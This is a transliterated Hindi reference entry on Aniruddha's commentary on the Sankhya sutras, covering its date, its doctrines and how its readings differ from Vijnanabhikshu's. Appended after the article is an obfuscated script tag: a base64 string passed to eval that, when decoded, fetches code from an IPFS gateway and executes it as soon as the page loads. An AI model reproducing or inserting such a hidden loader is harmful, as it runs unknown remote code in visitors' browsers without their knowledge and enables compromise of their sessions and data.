सांख्य सूत्र वृत्ति

• kapil pranit sootroan ki vyakhya ki yah pahali upalabdh pustak hai. isaka 'vritti' nam svayan rachayita aniruddh dvara hi diya gaya hai. aniruddh sootroan ko saankhyapravachanasootr bhi kahate haian jise bad ke vyakhyakaroan, tikakaroan ne bhi svikar kiya. vrittikar vijnanabhikshu se poorvavarti hai aisa pray: vidvan svikar karate haian tathapi inake kal ke vishay mean matabhed hai. saankhyasootroan ke vyakhyachatushtay ke sampadak janardan shastri pandey aniruddh ka samay 11vian shati svikar karate haian jaisa ki udayavir shastri pratipadit karate haian pray: vidvanh ise 1500 ee. ke asapas ka manate haian. richard garbe saankhyasootravritti ke rachayita ko jyotish granth 'bhasvatikaran' ke rachayita bhavasarmanh putr aniruddh se abhinn hone ko bhi sanbhavit samajhate haian jinaka janm 1464 ee. mean mana jata hai.
• aniruddh saankhy darshan ko aniyatapadarthavadi kahate haian. aniyatapadarthavadi ka yadi yah ashay hai ki tattvoan ki sankhya niyat nahian hai, to aniruddh ka yah mat uchit nahian pratit hota, kyoanki saankhy mean 25 tattv 60 padarth adi niyat ganana to prachalit hai hi. yadi padarthoan ke svaroop ki aniyatata se ashay hai to yah saankhy viruddh nahian hoga, kyoanki satv rajas tamas ke abhinav, ashray, mithun, janan vidhi se anekash: padarth rachana sanbhav hai aur isaka niyat sankhya ya svaroop bataya nahian ja sakata. isake atirikt aniruddhavritti ki ek visheshata yah bhi he ki usamean sookshm ya liang sharir 18 tattvoan ka (saptadash+ekamh) mana gaya hai. phir bhog aur prama donoan ko hi aniruddh buddhi mean svikar karate haian.
• aniruddh dvara svikrit sootr path vijnanabhikshu ke svikrit pathoan se anek sthaloan par bhinn haian. aniruddhavritti mean 'saukshmyadanulapabdhi' hai, jab bhikshubhashy mean 'saukshyamyatadanupalibdhi' path hai. yadyapi arth drishtya isase koee prabhav nahian p data tathapit eeshvarkrishna ki 8vian karika ke adhar par 'saukshdvamyattadanupalabdhi' ka prachalan ho gaya- aisa kaha ja sakata hai. dhyatavy hai ki sootr 1/124 mean aniruddhavritti ke anusar 'avyapi' shabd nahian milata n hi usaka aniruddh dvara arth kiya gaya, jabaki vijnanabhikshu ke sootrabhashy mean n keval 'avyapi' shabd sootragat hai api tu bhikshu ne karika ko uddhrit karate hue 'avyapi' ka arth bhi kiya hai. isi tarah sootr 3/73 mean aniruddhavritti mean 'roopai:saptabhi... vimochyatyeken roopen' path hai jabaki bhikshukrit path karika 63 ke saman 'vimochyatyekaroopen' hai. aisa pratit hota hai ki saankhyasootroan ka prachin path aniruddhavritth mean yathavath rakha gaya jabaki vijnanabhikshu ne karika ke adhar par path svikar kiya. sath hi yah bhi dhyatavy hai ki aniruddh ne karikaoan ko kahian bhi uddhrit nahian kiya tathapi kahian-kahian karikagat shabdoan ka ullekh avashy kiya hai yatha sootr 1/108 ki vritti mean 'atisamipyath' 'manoanavasthanath' 'vyavadhanath' adi. jabaki vijnanabhikshu ne pray: sabhi saman prasangoan par karikaoan ko uddhrit kiya hai.

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>